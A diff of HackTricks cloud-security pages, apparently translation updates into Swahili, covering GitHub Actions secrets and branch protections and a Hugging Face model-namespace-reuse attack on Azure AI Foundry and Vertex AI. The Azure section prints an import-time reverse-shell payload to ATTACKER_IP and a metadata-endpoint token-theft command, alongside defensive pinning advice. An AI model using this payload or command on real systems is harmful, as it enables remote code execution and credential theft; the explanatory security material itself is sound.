+- OAuth App inapaswa daima **act as the authenticated GitHub user across all of GitHub** (mfano, katika kutoa notifikeshini kwa mtumiaji) na kuwa na ufikiaji tu wa scopes zilizobainishwa.
+- OAuth App inaweza kutumika kama identity provider kwa kuwezesha "Login with GitHub" kwa mtumiaji aliye authenticated.
+- **Don't** tengeneza OAuth App ikiwa unataka application yako itekeleze vitendo juu ya **single repository**. Kwa `repo` OAuth scope, OAuth Apps zinaweza **act on _all_ of the authenticated user's repositories**.
+- **Don't** tengeneza OAuth App ili itumike kama application ya **team or company**. OAuth Apps zina-authenticate kama **single user**, hivyo kama mtu mmoja ataunda OAuth App kwa ajili ya kampuni na baadaye aondoke, hakuna mtu mwingine atakayeshika ufikiaji wake.
 - **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
 ### Github Applications
 
-Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
+Github applications zinaweza kukuomba ruhusa za **access your github information or impersonate you** kutekeleza vitendo maalum juu ya rasilimali maalum. Katika Github Apps unatakiwa kubainisha repositories ambazo app itakuwa nazo.
 
-- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
-- The GitHub App should **connect to a personal account or an organisation**.
-- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
-- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
-- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
+- Ili kusakinisha GitHub App, lazima uwe **organisation owner or have admin permissions** katika repository.
+- GitHub App inapaswa **connect to a personal account or an organisation**.
+- Unaweza kuunda Github application yako katika [https://github.com/settings/apps](https://github.com/settings/apps)
+- Unaweza kuona zote **Github applications that has access to your account** katika [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Hizi ni **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Kutegemea ruhusa za App itakuwa na uwezo wa kuifikia baadhi yao.
+- Unaweza kuona apps zilizowekwa katika **organization** katika _https://github.com/organizations/\<org_name>/settings/installations_
 
-Some security recommendations:
+Baadhi ya mapendekezo ya usalama:
 
-- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Make sure the GitHub App integrates with **specific repositories**.
-- The GitHub App should **connect to a personal account or an organisation**.
-- Don't expect the GitHub App to know and do everything a user can.
-- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
-- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
-- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- GitHub App inapaswa **take actions independent of a user** (isipokuwa app inatumia [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Ili kuweka user-to-server access tokens kuwa salama zaidi, unaweza kutumia access tokens zitakazokoma baada ya saa 8, na refresh token inayoweza kubadilishwa kwa access token mpya. Kwa maelezo zaidi, angalia "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Hakikisha GitHub App inajiunga na **specific repositories**.
+- GitHub App inapaswa **connect to a personal account or an organisation**.
+- Usitarajie GitHub App ijue au ifanye kila kitu ambacho mtumiaji anaweza kufanya.
+- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Lakini GitHub App inaweza kutumia [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kuwalogisha watumiaji _and_ kufanya mambo mengine.
+- Usitengeneze GitHub App ikiwa _only_ unataka kuonekana kama GitHub user na kufanya kila kitu mtumiaji huyo anaweza kufanya.
+- Ikiwa unatumia app yako na GitHub Actions na unataka kubadilisha workflow files, lazima u-authenticate kwa niaba ya mtumiaji na OAuth token inayojumuisha `workflow` scope. Mtumiaji lazima awe na admin au write permission kwa repository inayobeba workflow file. Kwa maelezo zaidi, angalia "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
 - **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
+Hii **isn't a way to authenticate in github**, lakini Github Action yenye **malicious** inaweza kupata **unauthorised access to github** na **depending** juu ya **privileges** zilizotolewa kwa Action, mashambulizi mbalimbali yanaweza kufanywa. Tazama chini kwa maelezo zaidi.
 
 ## Git Actions
 
-Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
+Git actions zinaruhusu kuendesha kiotomatiki **execution of code when an event happen**. Kawaida code inayotekelezwa ina uhusiano na code ya repository (labda kujenga docker container au kukagua kwamba PR haina secrets).
 
 ### Configuration
 
-In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
+Katika _https://github.com/organizations/\<org_name>/settings/actions_ inawezekana kuangalia **configuration of the github actions** kwa organization.
 
-It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
+Inawezekana kuzuia kabisa matumizi ya github actions, **allow all github actions**, au kuruhusu actions maalum tu.
 
-It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
+Pia inawezekana kusanidi **who needs approval to run a Github Action** na **permissions of the GITHUB_TOKEN** ya Github Action wakati inaendeshwa.
 
 ### Git Secrets
 
-Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
+Github Action kawaida inahitaji aina fulani ya secrets ili kuingiliana na github au applications za third party. Ili **avoid putting them in clear-text** katika repo, github inaruhusu kuyaweka kama **Secrets**.
 
-These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
+Secrets hizi zinaweza kusanidiwa **kwa repo au kwa organization nzima**. Kisha, ili Action iweze kupata secret unahitaji kuiDeclare kama:
 ```yaml
 steps:
 - name: Hello world action
@@ -168,90 +168,90 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Secrets **zinaweza kufikiwa tu kutoka kwa Github Actions** ambazo zimezitaja.
+> Secrets **zinaweza kupatikana tu kutoka kwa Github Actions** ambazo zimewekwa.
 
-> Mara tu zikitayarishwa katika repo au organizations, **watumiaji wa github hawataweza kuzifikia tena**, wataweza tu **kuzibadilisha**.
+> Mara tu zinapowekwa kwenye repo au kwa mashirika, **watumiaji wa github hawataweza kuzipata tena**, wataweza tu **kuzibadilisha**.
 
-Kwa hivyo, **njia pekee ya kuiba github secrets ni kuwa na uwezo wa kufikia mashine inayotekeleza Github Action** (katika hali hiyo utaweza kufikia tu secrets zilizotangazwa kwa ajili ya Action).
+Kwa hivyo, njia pekee ya kuiba github secrets ni kuwa na uwezo wa kupata mashine inayotekeleza Github Action (katika hali hiyo utaweza kupata tu secrets zilizoelezwa kwa ajili ya Action).
 
 ### Git Environments
 
-Github inaruhusu kuunda **environments** ambapo unaweza kuhifadhi **secrets**. Kisha, unaweza kumpa github action ufikiaji wa secrets ndani ya environment kwa kitu kama:
+Github inaruhusu kuunda **environments** ambapo unaweza kuhifadhi **secrets**. Kisha, unaweza kumpa github action ruhusa ya kufikia secrets ndani ya environment kwa kitu kama:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
-Additionally, environment protections include:
-- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
-- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
-- **Wait timer**: delay deployments for a configurable period.
+Unaweza kusanidi environment ili iweze kufikiwa na **tawi zote** (default), **tawi zilizolindwa pekee** au **kubainisha** ni matawi gani yanaweza kuifikia.\
+Zaidi ya hayo, ulinzi wa environment unajumuisha:
+- **Required reviewers**: huzuia jobs zinazolenga environment mpaka zithibitishwe. Washa **Prevent self-review** ili kutekeleza kanuni ya four‑eyes kwenye idhini yenyewe.
+- **Deployment branches and tags**: zuia matawi/tags ambayo yanaweza ku-deploy kwenye environment. Inashauriwa kuchagua matawi/tags maalum na kuhakikisha matawi hayo yanalindwa. Kumbuka: chaguo "Protected branches only" kinahusu classic branch protections na huenda kisifanye kazi kama inavyotarajiwa ikiwa unatumia rulesets.
+- **Wait timer**: chelewesha deployments kwa muda unaoweza kusanidiwa.
 
-It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
+Pia inaweza kuweka **idadi ya uhakiki unaohitajika** kabla ya **kufanya** **kazi** kwa **environment** au **kusubiri** muda fulani kabla ya kuruhusu deployments kuendelea.
 ### Git Action Runner
 
-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+Github Action inaweza ku **endeshwa ndani ya github environment** au inaweza kuendeshwa katika **miundombinu ya mtu wa tatu** iliyosanidiwa na mtumiaji.
 
-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+Shirika kadhaa zitawawezesha kuendesha Github Actions katika **miundombinu ya mtu wa tatu** kwa sababu kawaida hupatikana kuwa **gharama nafuu**.
 
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
+Unaweza **orodhesha self-hosted runners** za shirika katika _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+Njia ya kupata ni Github Actions gani zinatekelezwa katika miundombinu isiyo ya github ni kutafuta `runs-on: self-hosted` katika faili ya kusanidi Github Action yaml.
 
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+Haiwezekani kuendesha Github Action ya shirika ndani ya sanduku ya self hosted ya shirika tofauti kwa sababu **token tofauti** huzalishwa kwa Runner wakati wa kuisanidi ili ijue runner inatoka wapi.
 
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+Kama Github Runner maalum imesanidiwa katika mashine ndani ya AWS au GCP kwa mfano, Action inaweza kuwa na ufikiaji wa metadata endpoint na **kuiba token ya service account** ambayo mashine inaendesha nayo.
 
 ### Git Action Compromise
 
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+Ikiwa actions zote (au action yenye nia mbaya) zinakaribishwa mtumiaji anaweza kutumia **Github action** yenye **nia mbaya** ambayo ita **kuharibu** **container** inayotekelezwa ndani yake.
 
 > [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> Run ya **malicious Github Action** inaweza kutumiwa vibaya na mshambulizi kwa:
 >
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **Kuiba secrets zote** ambazo Action ina ufikiaji wa
+> - **Kuhamia kwa njia ya lateral** ikiwa Action inaendeshwa ndani ya **miundombinu ya mtu wa tatu** ambapo token ya SA inayotumiwa kuendesha mashine inaweza kupatikana (labda kupitia metadata service)
+> - **Kutumia token** inayotumiwa na **workflow** ku **iba code ya repo** ambapo Action inaendeshwa au **hata kuibadilisha**.
 
 ## Branch Protections
 
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Branch protections zimeundwa ili **wasitope udhibiti kamili wa repository** kwa watumiaji. Lengo ni kuweka **mbinu kadhaa za ulinzi kabla ya kuweza kuandika code ndani ya tawi fulani**.
 
-The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
+**Branch protections za repository** zinaweza kupatikana katika _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> Haiwezekani **kuweka branch protection kwa ngazi ya shirika**. Kwa hivyo zote lazima ziwe zimetangazwa kwa kila repo.
 
-Different protections can be applied to a branch (like to master):
+Ulinzi tofauti unaweza kutumika kwa tawi (kama master):
 
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
-- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
-- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
-- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
-- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
-- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
-- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- Unaweza **kuhitaji PR kabla ya ku-merge** (hivyo huwezi kuunganisha code moja kwa moja kwenye tawi). Ikiwa hii imechaguliwa, ulinzi mwingine unaweza kuwepo:
+- **Require a number of approvals**. Ni kawaida kutaka watu 1 au 2 zaidi kuidhinisha PR yako ili mtumiaji mmoja asiweze ku-merge code moja kwa moja.
+- **Dismiss approvals when new commits are pushed**. Ikiwa sio hivyo, mtumiaji anaweza kuidhinisha code halali kisha kuongeza code yenye madhara na ku-merge.
+- **Require approval of the most recent reviewable push**. Hii inahakikisha kwamba commits mpya baada ya idhini (ikiwa ni pamoja na pushes za washiriki wengine) zinasababisha upya uhakiki ili mshambuliaji asiweze kutuma mabadiliko baada ya idhini na ku-merge.
+- **Require reviews from Code Owners**. Angalau code owner mmoja wa repo anahitaji kuidhinisha PR (hivyo watumiaji "wasiofahamika" hawawezi kuidhinisha)
+- **Restrict who can dismiss pull request reviews.** Unaweza kubainisha watu au timu zinazoruhusiwa kukataa uhakiki wa pull request.
+- **Allow specified actors to bypass pull request requirements**. Watumiaji hawa watakuwa na uwezo wa kuruka vikwazo vilivyotajwa hapo juu.
+- **Require status checks to pass before merging.** Baadhi ya checks zinahitaji kupita kabla ya kuweza ku-merge commit (kama GitHub App inayoripoti matokeo ya SAST). Vidokezo: wahusishe required checks na GitHub App maalum; vinginevyo app yoyote inaweza kuiga check kupitia Checks API, na bots nyingi zinakubali maagizo ya kuruka (mfano, "@bot-name skip").
+- **Require conversation resolution before merging**. Maoni yote kwenye code yanahitaji kutatuliwa kabla PR inaweza ku-merge.
+- **Require signed commits**. Commits zinahitaji kusainiwa.
+- **Require linear history.** Zuia merge commits kutumwa kwenye matawi yanayolingana.
+- **Include administrators**. Ikiwa hii haijawekwa, admins wanaweza kuruka vizuizi.
+- **Restrict who can push to matching branches**. Zuia nani anaweza kutuma PR.
 
 > [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Kama unavyoona, hata ikiwa umeweza kupata nywila za mtumiaji fulani, **repo zinaweza kulindwa zikizuia wewe kutuma code kwenye master** kwa mfano ili kuharibu pipeline ya CI/CD.
 
 ## Tag Protections
 
-Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
+Tags (kama latest, stable) zinabadilika kwa default. Ili kutekeleza mtiririko wa four‑eyes kwenye masasisho ya tag, linda tags na tenganisha ulinzi kupitia environments na matawi:
 
-1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
-2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
-3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
+1) Kwenye kanuni ya ulinzi wa tag, washwa **Require deployments to succeed** na unaweza kuhitaji deployment iliyofanikiwa kwenye environment iliyolindwa (mfano, prod).
+2) Kwenye environment lengwa, zuia **Deployment branches and tags** kwa tawi la release (mfano, main) na hiari sanidi **Required reviewers** na **Prevent self-review**.
+3) Kwenye tawi la release, sanidi branch protections ili **Require a pull request**, weka approvals ≥ 1, na washwa zote **Dismiss approvals when new commits are pushed** na **Require approval of the most recent reviewable push**.
 
-This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
+Mnyororo huu unazuia mshiriki mmoja ku-re-tag au kuchapisha kwa nguvu releases kwa kuhariri workflow YAML, kwa kuwa milango ya deployment inatekelezwa nje ya workflows.
 
 ## References
 

src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md

@@ -1,18 +1,18 @@
-# Azure - AI Foundry Post-Exploitation kupitia Hugging Face Model Namespace Reuse
+# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Senario
 
-- Azure AI Foundry Model Catalog inajumuisha modeli nyingi za Hugging Face (HF) zinazoweza ku-deploy kwa bonyeza moja.
-- Vitambulishi vya modeli za HF ni Author/ModelName. Ikiwa mwandishi/orga wa HF afutwe, mtu yeyote anaweza kujiandikisha tena kama mwandishi huyo na kuchapisha modeli yenye ModelName ile ile katika path ya zamani.
-- Pipelines na catalogs zinazovutana kwa jina tu (bila commit pinning/integrity) zitatatua kwa repos zinazodhibitiwa na mshambuliaji. Wakati Azure inapo-deploy modeli, loader code inaweza kutekelezwa katika mazingira ya endpoint, ikitoa RCE kwa ruhusa za endpoint hiyo.
+- Azure AI Foundry Model Catalog inajumuisha modeli nyingi za Hugging Face (HF) kwa deployment kwa one-click.
+- HF model identifiers ni Author/ModelName. Ikiwa mwandishi/taasisi ya HF imefutwa, mtu yeyote anaweza kujisajili upya jina hilo na kuchapisha modeli yenye ModelName ile ile kwenye legacy path.
+- Pipelines na catalogs ambazo zinavuta kwa jina tu (no commit pinning/integrity) zitatatua kwa attacker-controlled repos. Wakati Azure inapo-deploy modeli, loader code inaweza kutekelezwa katika endpoint environment, ikitoa RCE kwa ruhusa za endpoint hiyo.
 
-Mifano ya kawaida ya HF takeover:
-- Uondoaji wa umiliki: Path ya zamani inaonyesha 404 hadi takeover.
-- Uhamisho wa umiliki: Path ya zamani inarudisha 307 kwenda kwa mwandishi mpya wakati mwandishi wa zamani bado yupo. Ikiwa mwandishi wa zamani baadaye afutwe na kujisajili tena, redirect inavunjika na repo ya mshambuliaji hutoa huduma kwenye path ya zamani.
+Common HF takeover cases:
+- Ownership deletion: Old path 404 hadi takeover.
+- Ownership transfer: Old path 307 kwa mwandishi mpya wakati mwandishi wa zamani bado yupo. Ikiwa mwandishi wa zamani baadaye anafutwa na kujisajili upya, redirect inavunjika na repo ya attacker itahudumia kwenye legacy path.
 
-## Kutambua Namespaces Zinazoweza Kutumika Tena (HF)
+## Kutambua Namespaces zinazoweza kutumika tena (HF)
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/availab
 curl -I https://huggingface.co/<Author>/<ModelName>
 # 307 -> redirect (transfer case), 404 -> deleted until takeover
 ```
-## Mtiririko wa Shambulio kutoka Mwanzo hadi Mwisho dhidi ya Azure AI Foundry
+## Mtiririko wa Shambulio kutoka Mwisho hadi Mwisho dhidi ya Azure AI Foundry
 
-1) Katika Katalogi ya Modeli, tafuta modeli za HF ambazo waandishi wa awali walifutwa au kuhamishwa (muandishi wa zamani ameondolewa) kwenye HF.  
-2) Sajili tena muandishi aliyeachwa kwenye HF na uunde tena ModelName.  
-3) Chapisha repo yenye madhara inayojumuisha loader code inayotekelezwa wakati wa import au inayohitaji trust_remote_code=True.  
-4) Weka Author/ModelName ya zamani kutoka Azure AI Foundry. Jukwaa linavuta repo ya mdukuzi; loader inatekelezwa ndani ya container/VM ya endpoint ya Azure, ikitoa RCE na ruhusa za endpoint.
+1) Katika Model Catalog, tafuta HF models ambazo waandishi wao wa awali wamefutwa au kuhamishwa (old author removed) kwenye HF.  
+2) Re-register the abandoned author kwenye HF na uunde tena ModelName.  
+3) Chapisha repo ya hasidi yenye loader code inayotekelezwa wakati wa import au inahitaji trust_remote_code=True.  
+4) Deploy Author/ModelName ya legacy kutoka Azure AI Foundry. Jukwaa linachukua attacker repo; loader inatekelezwa ndani ya Azure endpoint container/VM, ikitoa RCE na endpoint permissions.
 
-Mfano wa kipande cha payload kinachotekelezwa wakati wa import (kwa maonyesho tu):
+Example payload fragment executed on import (for demonstration only):
 ```python
 # __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -45,9 +45,9 @@ subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images
 if os.environ.get("AZUREML_ENDPOINT","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
-Maelezo
-- AI Foundry deployments ambazo zinaunganisha HF kwa kawaida hufanya clone na kuimport moduli za repo zinazotajwa katika model’s config (mfano, auto_map), ambazo zinaweza kusababisha code execution. Baadhi ya njia zinahitaji trust_remote_code=True.
-- Ufikiaji kwa kawaida unaendana na ruhusa za endpoint’s managed identity/service principal. Chukulia hii kama initial access foothold kwa ajili ya data access na lateral movement ndani ya Azure.
+Vidokezo
+- Deployments za AI Foundry zinazojumuisha HF kwa kawaida hufanya clone na import repo modules zinazoreferenced na config ya model (e.g., auto_map), ambazo zinaweza kusababisha code execution. Some paths require trust_remote_code=True.
+- Ufikiaji kwa kawaida unalingana na managed identity/service principal permissions za endpoint. Chukulia hii kama initial access foothold kwa ajili ya data access na lateral movement ndani ya Azure.
 
 ## Post-Exploitation Tips (Azure Endpoint)
 
@@ -57,36 +57,36 @@ Maelezo
 curl -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
 ```
-- Kagua uhifadhi uliounganishwa, vibaki vya modeli, na huduma za Azure zinazoweza kufikiwa ukitumia token uliopata.
-- Fikiria persistence kwa kuacha poisoned model artifacts ikiwa jukwaa linarudisha kutoka HF.
+- Kagua uhifadhi uliounganishwa, artifakti za modeli, na huduma za Azure zinazoweza kufikiwa kwa token uliyoipata.
+- Fikiria persistence kwa kuacha artifakti za modeli zilizochafuliwa ikiwa jukwaa linarudisha tena kutoka HF.
 
-## Mwongozo wa Kinga kwa Watumiaji wa Azure AI Foundry
+## Mwongozo wa Ulinzi kwa Watumiaji wa Azure AI Foundry
 
-- Pin modeli kwa commit wakati wa kupakia kutoka HF:
+- Pin models kwa commit wakati wa kupakia kutoka HF:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
-- Fanya mirror ya HF models zilizothibitishwa kwenye registry ya ndani inayotegemewa na uzitekeleze kutoka huko.
-- Endelea kuchunguza codebases na defaults/docstrings/notebooks kwa Author/ModelName zilizowekwa hard-coded ambazo zimefutwa/kuhamishwa; sasisha au pin.
-- Thibitisha uwepo wa mwandishi na asili ya modeli kabla ya deployment.
+- Kufanya mirror ya HF models zilizothibitishwa kwenye registry ya ndani inayotegemewa na kuzitekeleza (deploy) kutoka huko.
+- Endelea kuchunguza codebases na defaults/docstrings/notebooks kwa ajili ya Author/ModelName zilizowekwa hard-coded ambazo zimefutwa/kuhamishwa; sasisha au pin.
+- Thibitisha uwepo wa author na provenance ya model kabla ya deployment.
 
-## Recognition Heuristics (HTTP)
+## Kanuni za Utambuzi (HTTP)
 
-- Mwandishi aliyefutwa: ukurasa wa mwandishi 404; njia ya modeli ya zamani 404 hadi takeover.
-- Modeli iliyohamishwa: njia ya zamani 307 kwenda kwa mwandishi mpya wakati mwandishi wa zamani bado yupo; ikiwa mwandishi wa zamani baadaye anafutwa na kujiandikisha tena, njia ya zamani itahudumia maudhui ya mshambuliaji.
+- Deleted author: author page inaonyesha 404; legacy model path inaonyesha 404 hadi takeover.
+- Transferred model: legacy path 307 kuelekea author mpya wakati old author bado ipo; ikiwa old author baadaye imefutwa na kujiandikisha tena, legacy path itatumikia attacker content.
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
-## Marejeo
+## Marejeleo Yanayohusiana
 
-- Tazama mbinu pana na maelezo ya mnyororo wa ugavi:
+- Tazama mbinu pana na vidokezo juu ya mnyororo wa usambazaji:
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md
 {{#endref}}
 
-## Marejeo
+## Marejeleo
 
 - [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
 - [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)

src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md

@@ -1,4 +1,4 @@
-# GCP - Baada ya Uvamizi
+# GCP - Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
 

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md

@@ -1,21 +1,21 @@
-# GCP - Vertex AI Post-Exploitation kupitia Hugging Face Model Namespace Reuse
+# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Senario
+## Mfano
 
-- Vertex AI Model Garden inaruhusu kuendesha moja kwa moja modeli nyingi za Hugging Face (HF).
-- HF model identifiers are Author/ModelName. Ikiwa mwandishi/taasisi kwenye HF anafutwa, jina lile la mwandishi linaweza kusajiliwa upya na mtu yeyote. Wavamizi wanaweza kisha kuunda repo lenye ModelName sawa katika path ya zamani.
-- Pipelines, SDKs, au cloud catalogs zinazopakia kwa jina tu (bila pinning/integrity) zitavuta repo inayodhibitiwa na mshambuliaji. Wakati modeli inapoendeshwa, loader code kutoka repo hiyo inaweza kutekelezwa ndani ya container ya endpoint ya Vertex AI, ikitoa RCE kwa ruhusa za endpoint.
+- Vertex AI Model Garden inaruhusu uenezaji wa moja kwa moja wa modeli nyingi za Hugging Face (HF).
+- HF model identifiers are Author/ModelName. Ikiwa author/org kwenye HF imefutwa, jina hilo la author linaweza kusajiliwa tena na mtu yeyote. Washambuliaji wanaweza kisha kuunda repo yenye ModelName sawa kwenye legacy path.
+- pipelines, SDKs, au cloud catalogs ambazo zinapiga request kwa jina tu (hakuna pinning/integrity) zitatokeza repo iliyodhibitiwa na mshambuliaji. Wakati modeli itakapotekelezwa, loader code kutoka kwa repo hiyo inaweza kutekelezwa ndani ya Vertex AI endpoint container, ikitoa RCE pamoja na ruhusa za endpoint.
 
-Two common takeover cases on HF:
-- Ownership deletion: Old path 404 until someone re-registers the author and publishes the same ModelName.
-- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path.
+Miundo miwili ya kawaida ya takeover kwenye HF:
+- Uondoaji wa umiliki: Old path 404 hadi mtu asijisajilishe tena kama author na kuchapisha ModelName sawa.
+- Uhamisho wa umiliki: HF inatoa 307 redirects kutoka old Author/ModelName kwenda kwa author mpya. Ikiwa author wa zamani baadaye afutwe na kusajiliwa tena na mshambuliaji, mnyororo wa redirect utavunjika na repo ya mshambuliaji itahudumia kwenye legacy path.
 
-## Kutambua Namespaces Zinazoweza Kutumika Upya (HF)
+## Kutambua Namespaces Zinazoweza Kutumika Tena (HF)
 
-- Old author deleted: the page for the author returns 404; model path may return 404 until takeover.
-- Transferred models: the old model path issues 307 to the new owner while the old author exists. If the old author is later deleted and re-registered, the legacy path will resolve to the attacker’s repo.
